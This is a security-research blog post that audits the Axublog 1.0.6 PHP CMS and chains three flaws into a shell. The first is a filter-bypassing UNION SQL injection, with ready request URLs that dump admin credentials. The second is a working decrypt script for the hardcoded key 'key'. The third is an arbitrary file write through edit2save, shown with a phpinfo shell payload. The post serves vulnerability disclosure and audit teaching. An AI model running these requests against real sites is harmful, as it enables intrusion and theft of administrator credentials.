Security Research

Code Audit: Axublog Frontend SQL Injection to Backend GetShell

#Vulnerability#Security
Copper-orange fractured chain links and cracks across a digital surface over a near-black teal-blue background, symbolizing the attack chain from SQL injection piercing query boundaries through to GetShell

Background

I noticed on CNVD that someone had disclosed Axublog vulnerabilities, so I pulled the source for analysis and reproduction. While reproducing, I realized these flaws could be chained — frontend SQL injection plus backend arbitrary file upload makes for an easy GetShell. The source has plenty of other issues, but this post focuses on the chain.

The source was originally hosted at http://pic.axublog.com/axublog1.0.6install.rar.

Frontend SQL Injection

After downloading and installing the source, I followed the CNVD description to ad/theme.php and started auditing. That file actually has several other vulnerabilities, but I’ll leave those for another post.

  1. As CNVD noted, hit.php contains a code block that takes the id parameter straight from $_GET and concatenates it into a SQL statement with no sanitization. That’s a textbook SQL injection. Line 20 then prints the query result, so this is an error-based, fully echo’d injection.

Vulnerable SQL concatenation in hit.php

  1. This is a frontend page, reachable without authentication. To trigger the injection you first have to satisfy the if condition: send a GET request with g=arthit and a non-empty id. I fired the request and watched the executed SQL in a mysql monitor to confirm the parameter actually ran.

  2. The first attempt got blocked. Looking at lines 4-5 of the file, I found a sqlguolv (SQL filter) call.

The sqlguolv filter function

  1. I traced into it and found the implementation at lines 545-548 of axublog1.0.6/class/c_other.php.

  2. The filter reads the query string via $_SERVER['QUERY_STRING'] — the raw part after the question mark. Here’s the catch: $_SERVER['QUERY_STRING'] returns the raw, undecoded string, while $_GET URL-decodes each parameter value once. Since the filter inspects QUERY_STRING but the app reads id from $_GET, you can URL-encode the payload to slip past the filter.

Dump the admin username:

http://127.0.0.1/code/axublog1.0.6/hit.php?g=arthit&id=-1+%55NION+ALL+%53ELECT+1,2,3,4,5,6,adnaa,8,9,10,11,12+from+axublog_adusers

Dump the admin password:

http://127.0.0.1/code/axublog1.0.6/hit.php?g=arthit&id=-1+%55NION+ALL+%53ELECT+1,2,3,4,5,6,adpss,8,9,10,11,12+from+axublog_adusers

UNION injection PoC result

  1. While auditing, I noticed line 88 of axublog1.0.6/ad/login.php encrypts the password with an authcode method.

  2. I traced authcode to lines 16-62 of axublog1.0.6/class/c_md5.php. Pulling the encrypt/decrypt routine out and combining it with line 88 of login.php, I found the key is hardcoded as the literal string 'key'. With that, the ciphertext pulled from the database decrypts straight back to plaintext — and you can log into the backend.

The authcode encrypt/decrypt routine

<?php
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
    $ckey_length = 0;
    // Random key length, 0-32; a random key removes ciphertext patterns. 0 means no random key.
    $key = md5($key ? $key : EABAX::getAppInf('KEY'));
    $keya = md5(substr($key, 0, 16));
    $keyb = md5(substr($key, 16, 16));
    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length) : substr(md5(microtime()), -$ckey_length)) : '';
    $cryptkey = $keya.md5($keya.$keyc);
    $key_length = strlen($cryptkey);
    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
    $string_length = strlen($string);
    $result = '';
    $box = range(0, 255);
    $rndkey = array();
    for($i = 0; $i <= 255; $i++) {
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
    }
    for($j = $i = 0; $i < 256; $i++) {
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
        $tmp = $box[$i];
        $box[$i] = $box[$j];
        $box[$j] = $tmp;
    }
    for($a = $j = $i = 0; $i < $string_length; $i++) {
        $a = ($a + 1) % 256;
        $j = ($j + $box[$a]) % 256;
        $tmp = $box[$a];
        $box[$a] = $box[$j];
        $box[$j] = $tmp;
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
    }
    if($operation == 'DECODE') {
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
            return substr($result, 26);
        } else {
            return '';
        }
    } else {
        return $keyc.str_replace('=', '', base64_encode($result));
    }
}

$psw = 'yYxvHseLMURYWjMXuICtH2jsBTQNdXog43es9PZUng';
echo authcode(@$psw, 'DECODE', 'key', 0);
?>

Backend GetShell

  1. At lines 185-205 of ad/theme.php, the edit2save method takes the path and content parameters from $_REQUEST and passes them straight to file_put_contents — writing arbitrary content to an arbitrary path.

Arbitrary file write via file_put_contents in edit2save

  1. Tracing where edit2save is called, lines 10-25 of ad/theme.php show it fires when the GET parameter g=edit2save.

  2. This file requires backend authentication, so it’s limited on its own. Chained with the frontend SQL injection, though, you log in with the cracked admin credentials and verify with: GET g=edit2save, POST path=./evil_shell.php&content=<?php phpinfo();?>.

Then visit http://127.0.0.1/code/axublog1.0.6/ad/evil_shell.php — the uploaded file is live.

Final Thoughts

This post covered three core problems in Axublog: a bypassable frontend SQL filter, a hardcoded encryption key, and a backend arbitrary file write. Chain them and you GetShell from the frontend. Thanks to the folks who guided me — always happy to trade notes.

(Small CMSes from around 2018 shared the same pattern: filter logic inconsistent with how parameters are read, hardcoded crypto keys, and no validation on backend file operations. String them together in an audit and a quiet frontend bug often runs all the way to shell. That’s the value of manual code review over automated scanning — a human can see the causal thread between vulnerabilities.)